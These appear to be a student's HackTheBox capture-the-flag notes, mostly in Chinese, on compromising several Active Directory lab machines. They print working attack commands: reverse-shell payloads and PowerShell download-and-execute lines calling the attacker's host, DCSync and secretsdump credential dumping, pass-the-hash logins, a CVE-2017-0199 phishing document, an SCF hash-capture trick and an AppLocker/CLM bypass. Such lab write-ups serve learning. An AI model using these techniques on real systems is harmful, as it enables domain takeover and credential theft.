Active Directory 101 (tracks)

Forest

port

smb
smbclient -N -L \\10.10.10.161

crackmapexec smb 10.10.10.161 --users

shell as svc-alfresco
rpcclient -U "" -N 10.10.10.161

I made a userlist
Administrator andy lucinda mark santi sebastien svc-alfresco
It’s svc-alfresco’s passwd (NP as no passwd)

hashcat -m 18200 passwd /usr/share/wordlists/rockyou.txt

$krb5asrep$23$svc-alfresco@HTB.LOCAL:9c053d5be6f451f06253e868dc6a682f$0cb6371dc79a67b3530894…(.etc):s3rvice
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice


user.txt
d89fd463fb425be88b36cc0d64c7f98c

shell as adminstrator
我要使用這個,it’s called bloodhound 他使用圖來揭示 Active Directory 或 Azure 環境中隱藏的且通常是無意的關係。(直白點就是將關係視覺化,並且像是資料庫一樣將他們的relative連出來) https://linux.vbird.org/somepaper/20050817-ldap-1.pdf
https://github.com/BloodHoundAD/BloodHound.git https://github.com/BloodHoundAD/SharpHound.git https://0xdf.gitlab.io/2018/11/10/htb-reel.html#bloodhound
powershell 上傳 (記得在本機用python建立通道) 本來是打算是用powershell不會被kill的方法 結果產出得檔案一直被kill
wget "http://10.10.14.2:8000/SharpHound.exe" -OutFile "C:\Users\svc-alfresco\Documents\SharpHound.exe"
bloodhound


ps. 記得要先在本機下載neo4j、bloodhound
as 教學 先去neo4j改密碼改完瀏覽器關掉,terminal 不要關

然後開一個新的terminal,把bloodhound打開

會跳出這個頁面,輸入帳號跟剛剛改的密碼

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
windows版的http.server

copy 20240605231916_BloodHound.zip \\10.10.14.2\kali
將zip下載到本機

接著直接將zip檔案拖曳進去

去查名稱就會找到

點他然後標記他

接著選最下面那個find shortest path to domain admin

出現的按鈕點到底

看很多writeup 發現大家的好像都長得不太一樣

按下這個之後可以知道,要從目前的身分組 到htb.local需要經過什麼

like this

但我覺得這樣不太明白(不確定是因為版本問題還是啥)
這條是我們目前的身分,可以看到他同時有
service account、privileged account

- Account Operators 群組授予使用者有限的帳戶建立權限。因此,使用者 svc-alfresco 可以在網域中建立其他使用者。(他們在同個群組之中)
- Account Operators 群組對 Exchange Windows Permissions 群組具有 GenericAll 權限。此權限本質上賦予成員對群組的完全控制權,因此擁有允許成員直接修改群組成員的資格。
(對GenericAll按右鍵可以看解說跟使用方法)

- 由於 svc-alfresco 是 Account Operators 的成員,因此他能夠修改 Exchange Windows Permissions Permissions 的權限。
- Exchange Windows Permissions 群組對網域 HTB.LOCAL 具有 WriteDacl 權限。此權限允許成員修改網域上的 DACL(自由存取控制清單)。 https://learn.microsoft.com/zh-tw/windows/win32/secauthz/dacls-and-aces

how we gonna get the admin
總歸就是: 因為svc-alfresco在Account Operators之下,Account Operators 有可以完全控制群組的權限,而Exchange Windows Permissions 有write dacl的權限。
所以我們要做的就是:
- 建立一個user
- 把它加入Exchange Windows Permissions的群組
- 再給他DCSync許可權
- 增加acl的權限(內容?),總之就是修改dacl的意思
- 最後透過此用戶轉儲NTLM 哈希值,拿到admin 可以直接拿hash值登入的原因:https://en.wikipedia.org/wiki/Pass_the_hash
DCSycn 原理
DCSycn:https://tttang.com/archive/1634/ DC(網域控制器) 是 AD 的支柱,為了防止domain崩潰,造成癱瘓,通常會選擇備份,或是同時部屬多台DC,但資料是時時更新的,所以定期會需要同步資料(may be 1 per 15 min) 同步資料是透過Microsoft的遠端目錄複製服務協定(MS- DRSR),該協定是基於MSRPC / DCE/RPC )進行的。而其DRS 的Microsoft API 是DRSUAPI
當一個網域控制器(DC 1)想要從其他網域控制站(DC 2)取得資料時,DC 1 會向DC 2 發起一個GetNCChanges 請求,該請求的資料包含需要同步的資料。如果需要同步的資料比較多,則會重複上述過程。 DCSync 就是利用的這個原理,透過Directory Replication Service(DRS) 服務的GetNCChanges 介面向域控發起資料同步請求。
在domain內的用戶所具有的權限其實最根本是看用戶的DACL,那麼對於DCSync攻擊來說,只要域用戶擁有以下三條DACL即可向域控發出資料同步請求,從而dump去域內用戶hash ,這三條DACL分別為:
- 複製目錄更改(DS-Replication-Get-Changes)
- 全部複製目錄更改 (DS-Replication-Get-Changes-All )
- 在過濾集中複製目錄更改(可有可無)(DS-Replication-Get-Changes-In-Filtered-Set)
預設本機管理員、網域管理員或企業管理員以及網域控制站電腦帳號的成員預設具有上述權限 注意,預設情況下,DCSync 攻擊的物件如果是唯讀網域控制站(RODC),則會失效,因為RODC 是不能參與複製同步資料到其他DC 的。
DCSycn attack
這個網站有詳細的攻擊過程的方法,其中PowerView是一個可以改寫dacl的工具 https://burmat.gitbook.io/security/hacking/domain-exploitation https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
kali裡面有

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2:1111/PowerView.ps1')
先把poweview 上傳上去 (這邊似乎是不需要,都沒呼叫到它,而且其實機器裡面本來就有)

接著我不知道為甚麼分開打指令會失敗,和在一起就會成功 總之我做的是,更改我們目前的帳號(這樣就不用多想一個了) 其中中間有一個secstr是負責儲存資料(帳密)的
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members svc-alfresco; $username = "htb\svc-alfresco"; $password = "s3rvice"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync
net group 'Exchange Windows Permissions'
可以發現他已經被加入到特權帳戶裡了

sudo impacket-secretsdump HTB.local/svc-alfresco:s3rvice@10.10.10.161
可以用impacket-secretsdump 來拿到所有帳密的hash值
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

evil-winrm -i 10.10.10.161 -u Administrator -p aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

root

root.txt
5126e4ffb56091025341fb173a087d27

Sauna

port

web
nothing intersting

maybe it can use ?

我把名字存起來
(名字、名字第一個字母加姓)

GET IN SERVER
impacket-GetNPUsers -dc-ip 10.10.10.175 ‘EGOTISTICAL-BANK.LOCAL/’ -usersfile user -format hashcat -outputfile hash
看起來是第2筆資料:fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:f704868d58533bb34e9176988fa92774$e99329509857b022d6f9df9d1c245e0a6795988276beeaa983db77383ef9aa2aef7d332fe7f3ece857383844df9f60e9bc692f97f381349dae3786ad628d73903dd79ce7f35717567c2fb259fd6c8d1559706b126a9b1096b13e944daa94da4d5041a88bbcc97cf92875af50c25a610398a6634be6fec63747ed89b60fb2af8f90583e40cb66885096eb7cd32b51deded5d4dddb281cfba513097f2fb337535dc42b43c83e74f438dcbde31fac8c6024956b86ec46c275d77bc1095b1e10b23212605813c7a1fb2a78ce85a4f7274b3c3c918c2e3e265dcd196678e0c0e209d8654d5afd26de4de93ff1c1a482d53f0d9792ce645bc35c9285437e9d99f9ca44

用hashcat 解密
hashcat -m 18200 passwd /usr/share/wordlists/rockyou.txt

fsmith:Thestrokes23
SHELL as fsmith
用evil-winrm 登入 fsmith

user.txt
7c1d859010e28c14509176a12b5ade1f

bloodhound

暫時不能用 因為我載不下來
winpeans
所以我傳了winpeans

我在自動登入憑證裡面找到一組帳密
svc_loanmanager:Moneymakestheworldgoround!

去看user只發現一個長得很像的🤔

我試著登入
Shell as svc_loanmgr

bloodhound
延續前面做過的bloodhound 上傳之後下載zip檔 但好像還是不能下載 but 我想到我可以建一個共用資料夾 as smbserver
smb share

進入方法

在這裡可以呼叫到自己電腦的檔案,在目標電腦執行,然後結果產生在自己電腦裡

記得打開neo4j 跟 登入 bloodhound
看起來我們可以直接進行DCSync(撇除前面的更改dacl)

DCSync
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e
admin

root.txt
f526c5e5c92be25ba29bb0e6503ce345

Active

port
Domain: active.htb

smb
發現smb之下有一些disk

用smbmap 掃,發現Replication 是個唯獨檔

接著找下去裡面有很多檔案

可以用 RECURSE ON PROMPT OFF 然後mget * 把所有檔案下載 但我是先一個一個看 所以我發現了一個xml檔案 一樣是用mget * 下載

name=”active.htb\SVC_TGS” cat 出來可以發現有帳戶跟密碼

GPP
Group Policy Preference (GPP) 群組原則 每當建立新的群組原則首選項 (GPP) 時,都會在 SYSVOL 共用中建立一個包含該設定資料的 xml 文件,其中包括與 GPP 關聯的任何密碼。為了安全起見,Microsoft AES 在將密碼儲存為cpassword.但隨後微軟在 MSDN 上公佈了金鑰!
Microsoft 在 2014 年發布了一個補丁,阻止管理員將密碼輸入 GPP。但該補丁對任何已經存在的可破解密碼沒有任何作用,據我了解,滲透測試人員在 2018 年仍然經常發現這些密碼
https://0xdf.gitlab.io/2018/12/08/htb-active.html
Shell as SVC_TGS
所以我們要先解密碼
decrypt
GPPstillStandingStrong2k18

解開之後我再度去看一下它的權限
發現它有比較多權限可以讀取

進去看之後可以直接看使用者的檔案

user.txt

8d471df36001718635ee2ccaf2d780ea

shell as root
前面好像沒有特別講有關Kerbers的東西
Kerberoasting
https://www.tsnien.idv.tw/Security_WebBook/chap14/14-4%20Kerberos%20%E8%AA%8D%E8%AD%89%E7%B3%BB%E7%B5%B1%E7%B0%A1%E4%BB%8B.html
kerbers 就是個windows認證帳戶的網路協定 當您想要使用 Kerberos 對某些服務進行身份驗證時,您可以聯絡 DC 並告訴它您想要對哪個系統服務進行身份驗證。它使用服務用戶的密碼雜湊對對您的回應進行加密。您將該回應傳送給該服務,該服務可以使用其密碼對其進行解密,檢查您是誰,並決定是否允許您進入。
在 Kerberoasting 攻擊中,您將使用離線暴力破解與服務相關的密碼,而不是將加密的票證從 DC 傳送到服務。
大多數情況下,您需要網域上的活動帳戶才能初始化 Kerberoast,但如果 DC 設定了UserAccountControl 設定「不需要 Kerberos 預先驗證」,則可以要求並接收破解票證,而無需網域上的有效帳戶。
https://0xdf.gitlab.io/2018/12/08/htb-active.html
attack start
可以先掃看到服務有沒有存在

SPN (service principal name) 如果在使用者帳戶上設定了 SPN,則可以要求該帳戶的服務票證並嘗試破解它以檢索使用者密碼。此攻擊稱為Kerberoast
找到admin的密碼

hashcat -m 13100 passwd /usr/share/wordlists/rockyou.txt
Administrator:Ticketmaster1968
root.txt
用smbmap掃一下有什麼權限

連上smbclient

root.txt

e4213210512ca63465ea1f04d6bb8275

Blackfield

port

smb
掃smb

用smbmap去看一下現在可以讀取的權限

我先看了profiles,裡面都是空的,感覺像是姓名

我想著如何有效率的存取
我先掛載這個資料夾

然後用ls 只會print 1行的方式將每一個資料夾的名字存入文字檔中

可以知道帳號叫做support

support:#00^BlackKnight

support
我只有smb跟http的權限,沒有winrm的

掃smbmap 發現我有 NETLOGON和SYSVOL共享的唯讀存取權限
但當我掛載上去之後,沒發現什麼可以用的東西

bloodhound
有一個python版本的,不需要上傳上去執行的 https://github.com/dirkjanm/BloodHound.py.git

~/Tools/BloodHound.py/bloodhound.py -c all -ns 10.10.10.192 -d blackfield.local -u support -p '#00^BlackKnight' -g DC01.blackfield.local

執行之後會出現

接著開啟neo4j跟bloodhound 進去之後點選 first degree odject control https://bloodhound.readthedocs.io/en/latest/data-analysis/nodes.html

ForceChangePassword
接著可以看到 audit2020與suppor有force change password

以裡面給的敘述提到,at least有兩種攻擊方法,一個是用windows內建的net.exe 二進位檔案,但是這不會是最好的方法,另一個是用powerview中的Set-DomainUserPassword函數
方法be like

簡單來說我有權限改另一個帳戶的密碼 但我們無法上傳東西上去那個帳戶裡 所以我們要用rpc去改它密碼
attack start
https://room362.com/posts/2017/reset-ad-user-password-with-linux/
這樣就可以改掉密碼了

可以這樣檢測有沒有改成功

一樣沒有winrm權限

但可以看到這個帳號有比較多讀取權限

another user
我注意到有一個可讀取的叫做 鑑識

我在這裡發現到lsass.zip 通常系統會將憑證存入lsass 可以用procdump的方式把憑證中的hash值drop出來 https://attack.mitre.org/techniques/T1003/ https://attack.mitre.org/techniques/T1003/001/

我用掛載的方式載下來
sudo mount -t cifs -o username=audit2020,password='password123!',domain=blackfield.local,vers=2.0 //10.10.10.192/forensic for

另外我也發現了

admin password(it’s a hole)
domain_admin 裡面有admin的密碼
Administrator:Ipwn3dYourCompany

lsass
我們來處理這個

解壓縮之後得到一個dmp檔

我們可以用pypykatz去轉儲DMP檔得內容
svc_backup
NT: 9658d1d1dcd9250115e2205d9f48400d

掃一下發現它有winrm的權限

svc_backup

user.txt
3920bb317a0bef51027e2852be64b543

admin
因為前面都沒有看過這個身分,所以進去之後先查身分的權限 發現它有SeBackupPrivilege,可以用來提權 https://www.backup4all.com/what-are-backup-operators-kb.html

方法1
https://learn.microsoft.com/zh-tw/windows-server/administration/windows-commands/diskshadow https://ithelp.ithome.com.tw/articles/10307947
先建立sha.dsh ,然後把檔案轉換成dos文字



https://github.com/giuliano108/SeBackupPrivilege.git
偷一下別人的圖,用wget 就好

要記得存取 hkml

然後去把ntds.dit抓下來

用同個方法抓下來

等它跑就可以拿到所有帳號的hash

方法2
修改acl
$NTDS = "C:\Windows\NTDS\ntds.dit"
$acl = Get-Acl $NTDS
$AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("blackfield.local\svc_backup","FullControl","Allow")
$acl.SetAccessRule($AccessRule)
$acl | Set-Acl $NTDS
這段是確認有沒有修改正確
Get-acl $NTDS | select -expand accesstostring

接著寫入這段
set context persistent nowriters#
add volume c: alias binsec#
create#
expose %binsec% z:#
然後用diskshadow執行它

要記得存取 hkml

然後去把ntds.dit抓下來

用同個方法抓下來

跑了半小時

administrator:184fb5e5178480be64824d4cd53b99ee

root.txt

4375a629c7c67c8e29db269060c955cb
Resolute

port

smb

rpc

可以使用queryuser

利用querydispinfo,發現一個帳戶和它的密碼
marko:Welcome123!

marko

被騙ㄌ
another
crackmapexec smb 10.10.10.169 --users
我用crackmapexec 去掃它的用戶

crackmapexec smb 10.10.10.169 -u users -p 'Welcome123!'
我將用戶放進文字檔中,去找哪個用戶的密碼跟這個一樣
melanie:Welcome123!

melanie
它有winrm的權限


user.txt
eb89dbfeb526d253373b5d9c88b396f1

another one
在window中 ls -force = ls -al 在C槽的底層中發現了隱藏起來的資料夾

其中這裡有個隱藏的目錄

隱藏的目錄中有個隱藏的檔案

裡面看起來像是ternimal的歷史紀錄
在裡面看到另一個帳戶的帳號密碼
ryan:Serv3r4Admin4cc123!

ryan

發現了一個note.txt,裡面說要做任何改變都要在一分鐘以內

透過列舉可以發現有一個MEGABANK\DnsAdmins

attack start
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -f dll -o rev.dll
用msfvenom 建一個dll檔的 reverse shell

把smbserver打開來

用dnscmd 執行這個dll(這步之前先開監聽)

把dns重開,等它一下

smbserver出現這個等於flow跑過來了

要記得開著

root.txt
4be0dc80ce145abb4b8725d73bb65599

Reel

port

ftp
裡面有一個文字檔跟兩個word檔

nott insterested

AppLocker.docx

Windows Event Forwarding.docx 原本他顯示檔案損壞,要不要還原
裡面得內容看起來是ternimal的紀錄
https://learn.microsoft.com/zh-tw/windows/win32/wec/wecutil
裡面有一個電子信箱
nico@megabank.com

smtp
看起來很怪,基本上他都accept

RTF attack
依據前面有出現word檔以及電子信箱,有個釣魚漏洞CVE-2017-0199,利用釣魚攻擊,讓受害者點開word檔,接著他會向http 丟一個socket ,攻擊者可以透過他連進受害者的電腦
https://blog.trendmicro.com.tw/?p=51750
CVE-2017-0199: 會建立一個惡意 RTF 文件,當在易受攻擊的 Microsoft Word 版本中開啟該文件時,將導致程式碼執行。此缺陷存在於 olelink 物件如何發出 http(s) 請求並執行 hta 程式碼作為回應的方式中。
attack start
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -f hta-psh -o msfv.hta
先建立一個reverse shell

接著用建一個rtf檔案 https://github.com/bhdresh/CVE-2017-0199.git
- -M gen- 產生文檔
- -w invoice.rtf- 輸出檔名
- -u http://10.10.14.4/msfv.hta- 取得 hta 的 url
- -t rtf- 建立 rtf 文件(與 ppsx 相反)
- -x 0- 禁用 rtf 混淆

接著先開監聽,以及http(為了讓他抓到你的reverse shell)

然後寄email

等他一下

NICO
user.txt
8ce58351fd982082e1bdad2dec66f10e

xml
桌面有一個xml檔案,裡面寫著tom的密碼
內容看起來是他用powershell裡的PSCredential來儲存密碼
而他會自動轉換成其他格式來保護密碼
https://learn.microsoft.com/zh-tw/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions?view=powershell-7.4

可以用powershell中的Import-CliXml將他轉回來 Tom:1ts-mag1c!!!
powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

tom


tom的桌面有一個ad audit的資料夾

裡面的note 說沒有ad攻擊到admin的路徑,要去重跑其他用戶

進到資料夾最深處有一個acls.csv

我架了一個smb來抓檔案

用excel打開,看一下writeowner
發現tom有claire的write 權限

查了claire 發現它有backuo_admin的write 的權限

claire
有寫入權限,基本上就是可以寫入acl的權限 先執行powerview.ps1

然後修改tom讓他變成claire acl的擁有者
接著重製claire的密碼
claire:qwer1234QWER!@#$
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
$pass = ConvertTo-SecureString 'NewPass1!' -AsPlainText -Force
Set-DomainUserPassword Claire -AccountPassword $pass -Verbose
成功了之後會出現

接著就可以用ssh 去連上claire

backup_admin
查看身分組的group 發現一個名字叫做 ranj

把claire加在裡面

再查看身分組

理論上要重登才可以生效但是重登之後會被重製
net group BACKUP_ADMINS tom /add /domain
所以我改放tom在裡面

root.txt
進去看,沒權限

所以我去Backup Scripts裡面看看

最後我在BackupScript.ps1找到admin的密碼
administrator:Cr4ckMeIfYouC4n!

用ssh連過去
934ede21e8a253530b4ca200412df9d6

Sizzle

port

ftp
好像進不去(?

smb
他smb有開

有一個Department Shares 可讀取

sudo mount -t cifs -o rw,username=guest,password= '//10.10.10.103/Department Shares' share
先把他掛載起來

有很多用戶之外好像沒啥,public 是可以寫入的

這邊其實可以測到public有我們看不見的 “交互作用” 寫入的檔案大概4分鐘後會被刪掉 但是我沒測出來,我的檔案不會被刪
catch NetNTLMv2
可以先參考下面的論文
原文(原網站關了): https://www.helpnetsecurity.com/2017/05/15/stealing-windows-credentials-using-google-chrome/
https://www.malwarebytes.com/blog/news/2017/05/smb-and-scf-another-good-reason-to-disable-superfluous-protocols
我理解起來是這樣:
SCF 是個在 Windows 98 / ME / NT / 2000 / XP 中比較活躍的檔案 裡面的檔案看起來是這樣
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
與他相似的還有lnk 檔案 which is window’s file(只是chrome 有內建過濾,所以這個洞已經被補上了)
而我們可以將icon file 的位置鏈接到我們的smbserver
將圖標位置設置為遠程SMB服務器是已知的攻擊矢量,在訪問遠程文件共享等服務時會濫用Windows自動身份驗證功能。
[Shell]
IconFile=\\255.255.255.255\icon
下載後,將觸發請求 下載目錄打開的那一刻 在Windows File Explorer中查看文件,刪除文件或與其他文件一起使用(這幾乎是不可避免的)。無需單擊”或打開下載的文件– Windows File Explorer將自動嘗試檢索”圖標(icon)”。
這時候我們就可以透過就捕獲到受害者的用戶名和NTLMv2密碼hash值
attack start
這裡有攻擊的範例(看前面就好,他給的畫面比較健全) https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
最前面放小老鼠會讓文件的順序在最前面 (時而成功時而不成功)

用responder 去攔截,大概會跑個1分中上下

接著會爆出amanda的hash

amanda
將這串丟進檔案裡面,用hashcat解開 hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

amanda:Ashare1972

我查了winrm 發現不能用,smb也沒有什麼有用的東西

LDAP
接著我去抓他的ldap的內容 https://zh.wikipedia.org/zh-tw/%E8%BD%BB%E5%9E%8B%E7%9B%AE%E5%BD%95%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE
ldapdomaindump -u 'htb.local\amanda' -p Ashare1972 10.10.10.103

裡面可以看到所有的用戶的group跟server的版本

ADCS
剛剛最前面其實有掃到過
但是找到用戶跟密碼就沒再去看
現在先掃看看
我發現了一個401的網頁

去到那個網頁之後發現它要我輸入帳號密碼
而我輸入了amanda的帳號密碼

出現了一個可以重新給我們 certificate的網頁
有了這個網頁之後,我們可以自己做一個新的憑證
讓我們登入 server 的後台

所以我們要先創造一個新的certificate 還有 key
先request 它的 certificate

選擇user certificate

結果我發現我沒辦法選東西,submit出去也只是error

參考資料: https://thesecmaster.com/blog/how-to-request-a-certificate-from-windows-adcs https://www.tecmint.com/generate-csr-certificate-signing-request-in-linux/
我需要先去用openssl生成一個新的csr
openssl req -new -newkey rsa:2048 -nodes -keyout yofat.key -out yofat.csr
裡面亂輸就好

有了這個就可以去請求新的證書

去到點擊user certificate 那裏的下面有一個advance…點下去
然後將剛剛生成的csr檔案複製貼到這裡

下載這個DER檔案

用DER檔案加上剛剛生成的key 就可以用amanda登入到server
evil-winrm -c certnew.cer -k yofat.key -i 10.10.10.103 -u amanda -p Ashare1972 -S

CLM bypass
透過下面這串指令,我們可以知道現在是受限模式
$executioncontext.sessionstate.languagemode

似乎用wvil-winrm 可以避開AMSI https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
我們是被applocker限制
Get-AppLockerPolicy -Effective -XML

受限模式就是CLM PowerShell Constrained Language Mode (CLM) https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
它只適用於 Windows PowerShell version 5.1 or PowerShell 7. 它會限制很多東西

有查到一個叫做powershell 降維攻擊的方法
可以嘗試,但是他不會成功
好像通常都可以試試看

我們可以用這個方法繞過有著applocker + CLM 的模式 https://book.hacktricks.xyz/v/cn/windows-hardening/authentication-credentials-uac-and-efs https://github.com/padovah4ck/PSByPassCLM/tree/master
我用wget傳上去,然後輸入下面這串,它其實就是用installutil 去繞過AppLocker(要記得先開監聽)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.5 /rport=443 /U C:\Users\amanda\Documents\123.exe

user of amanda
可以看到現在已經不是限制模式了

下一步要進到下一個身分組\用戶
稍微檢查一下,發現到它有監聽 port 88 (Kerber)

基本上這邊通常就是要做Kerberoast 我打算用rubeus去拿到某個user的NTLM 但由於rubeus 是c語言開發的,我有找到有人整理的整個exe的工具包
https://github.com/GhostPack/Rubeus https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
一樣用wget 就可以上傳上去,要記得樣放進\windows\temp裡面 不然applocker一樣會限制你

拿掉mrlky的密碼

hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt
mrlky:Football#7

mrlky
在進到mrlky之前,我們要先跟前面一樣先創一個key跟csr 可以點回前面ADCS那裏
evil-winrm -c mk.cer -k mk.key -i 10.10.10.103 -u mrlky -p Football#7 -S

user.txt
454a0316f1bd5351ed511765a68ef9df

bloodhound
我先用bloodhound
一樣到temp執行

然後用smbserver把結果的zip載下來

可寫入不可讀是怎樣==

我有找到一個神奇的路徑可以使用 C:\windows\System32\spool\drivers\color

把檔案抓下來

把neo4j跟bloodhound打開 選擇 shortest path to admin 可以看族譜知道接下來我們要用DCSync攻擊來變成admin

更細節一點可以看

可以看到它有GetChangesAll 跟 Getchanges

既然它有權限,我應該可以直接用secretdump
DCSync attack
直接用secretsdump , admin的ntlm就出來了

admin

我們只能用這三種去登入admin
smbexec.py , psexec.py wmiexec.py
因為

然後有一個我不是很懂得點
在前面的題目(不同的機器)也有出現secretdump的題目 當時是有開winrm,所以可以用pass the hash 的方式直接登入admin 但現在他不支援,掃CME的時候它顯示pwn3d的密碼就只是它的nthash 不理解的是為甚麼只要nthash就好 而不是lmhash+nthash 還是它不是pass the hash 它密碼就跟nthash一樣
root.txt
(smbexec 不能用cd)
sudo impacket-psexec htb.local/administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267

root.txt

Mantis

port
有個有sql的網頁

smbmap
我發現他好像需要有帳號密碼才能用

(name:MANTIS) (domain:htb.local)

http
掃了之後沒甚麼感興趣的內容 但是有注意到裡面有一個登入的地方
用burp 攔截之後可以看到他除了要對帳密以外 還要檢查token

在response中可以找到被隱藏的token

但是他是隨機的,測過幾遍還是沒辦法使用
接著我去找一下別人的作法發現 有一個我沒掃到的port 1337 所以接下來就換1337
port 1337
我掃到了一個叫做secure_notes的網頁

web.config是404,dev裡面有東西

原本以為他只有一些readme的內容

結果他把東西藏在最下面
Credentials stored in secure format
OrchardCMS admin creadentials 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001
SQL Server sa credentials file namez

這看起來是一串 binary 的數字 要解密的話要先轉成 hex 然後再轉成 ascii code 就可以先拿到 OrchardCMS 的憑證
可以用bash code 或是 python
解密 OrchardCMS 憑證方法 1
bash 解密法
perl -lpe '$_=pack"B*",$_' < <( echo 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001 )
chatgpt的友情解釋

解密 OrchardCMS 憑證方法 2
python 解密法
>>> import binascii
>>> pasw = int("010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001", 2)
>>> binascii.unhexlify("%x" % pasw)
OrchardCMS
接著我就把密碼解出來
@dm!n_P@ssW0rd!

但其實如果感覺足夠靈敏可以發現這個 dev 檔案本身也是個被加密的名字
所以我先把他解 base64

接著我用 xxd 反轉術式,讀取十六進制數據,然後將其轉換回二進制數據並輸出
拿到了sql的密碼
m$$ql_S@_P@ssW0rd!

進 dashboard 沒看到能讓我 RCE 的地方

SQL
我打算用有GUI介面的 dbeaver

但因為版本問題有點麻煩
所以回去用老方法
impacket-mssqlclient 'admin@10.10.10.52'

SELECT name FROM master.dbo.sysdatabases;

USE orcharddb;

SELECT table_name FROM information_schema.tables;

我發現了好像會記錄 user 訊息的地方

SELECT username, password FROM blog_Orchard_Users_UserPartRecord;
admin AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A==
James J@m3s_P@ssW0rd!

admin 一定不是我們的目標

James
用 CME 只有掃到他只有開smb,還有一個 mantis

smbmap 給的內容 nothing interesting

這裡的攻擊很迷 看大家的write up 也看不出為甚麼是這樣打 或許是題目做得太通靈了
MS14-068 (CVE-2014-6324)
接下來要做的是 CVE-2014-6324 又叫做 MS14-068 https://www.cnblogs.com/feizianquan/p/11760564.html#autoid-5-0-0
漏洞成因是:
- 不安全的設計導致可以偽造密碼
- PAC不存在於TGT裡面,並把PAC信息解密并利用客户端设定的签名算法验证签名
- 以上如果都通過,就可以偽造新的PAC透過TGT傳到client端
如何攻擊
用網路上的 ms14-068,可以用他來進行,但要先去 rpcclient 下 lookupnames [user] 拿到機器的 SID
或是利用 goldenpac 直接變成 admin,goldenpac 就是 M14-068 + PsExec
攻擊開始
在測試時發現一直都行不通,之後我將沒看過的名字加入密碼中以及host , 看起來這種方法是,james -> 傳送ticket -> mantis
10.10.10.52 mantis htb.local mantis.htb.local
impacket-goldenPac 'htb.local/james:J@m3s_P@ssW0rd!@mantis'

就變成admin

user.txt
6bf49a12d1c9d89cf2d1f25d55bfc1a2

root.txt
76487362cbfb81ebfd63c215536b1b63

Cascade

port
看到他有開 LDAP 跟 RPC

RPC
在這裡掃到了很多user

LDAP
接著我去掃看看 LDAP -b 那裏是 nmap 就有掃到的內容
ldapsearch -H ldap://10.10.10.182 -x -s sub -b 'DC=cascade,DC=local' "(objectclass=*)" "*"
裡面是所有的訊息

所以我把 * 改成 user

我在 Ryan Thompson 找到額外的資訊

他多一個 cascadeLegacyPwd

這應該是密碼吧🤔 rY4n5eva

然後我去比對跟 RPC 裡面列出來的內容 這應該是他

我就去看他有沒有開 smb
crackmapexec smb -u r.thompson -p rY4n5eva --shares 10.10.10.182

我把 data 裡面的東西載下來

在 Meeting_Notes_June_2018.html 他說密碼跟普通 admin 一樣

所以我繼續翻 看他所謂的普通 admin 有沒有線索 在 s.smith 的 VNC Install.reg

裡面有一行 “Password”=hex:6b,cf,2a,4b,6e,5a,ca,0f

我發現有一個東西可以檢測密碼 雖然這東西 metasploit 裡面其實就有 https://github.com/jeroennijhof/vncpwd.git
先把他轉成 2 進位
echo '6bcf2a4b6e5aca0f' | xxd -r -p > vnc_enc_pass

然後密碼就會被他解出來了 sT333ve2 他好像是 DES 加密

s.smith
winrm 可以用

evil-winrm -i 10.10.10.182 -u s.smith -p sT333ve2

user.txt
5cc53ec457714f4df730ad025bc13235

going to admin
他的 group 是 Audit Share

這個 group 只有他

翻了一下決定回去看 smb 發現很多 sql 檔案

發現了另一個帳號
1 ArkSvc BQO5l5Kj9MdErXx6Q6AGOw== cascade.local

但解不出來

所以我回去看發現這個批次檔案 發現他運行這個 exe

是個用 .net 編譯的程式

所以我轉用 windows 用 dnSPY 打開
反編譯後重點應該是這段程式 那組密碼不知道是誰的 但有一個 pwd 的程式碼可以追蹤看看

我在這裡設斷點

讓他執行之後,讓他去找剛剛看的 Audit.db

發現一個 ArkSvc 用戶 但密碼不見了

按 F10 讓他跑就會出現了
w3lc0meFr31nd

ArkSvc
他有開winrm


to root
發現他有垃圾桶的 group

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
所以列出歷史刪除的紀錄
最後一筆叫做 tempadmin 可以看看

Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *
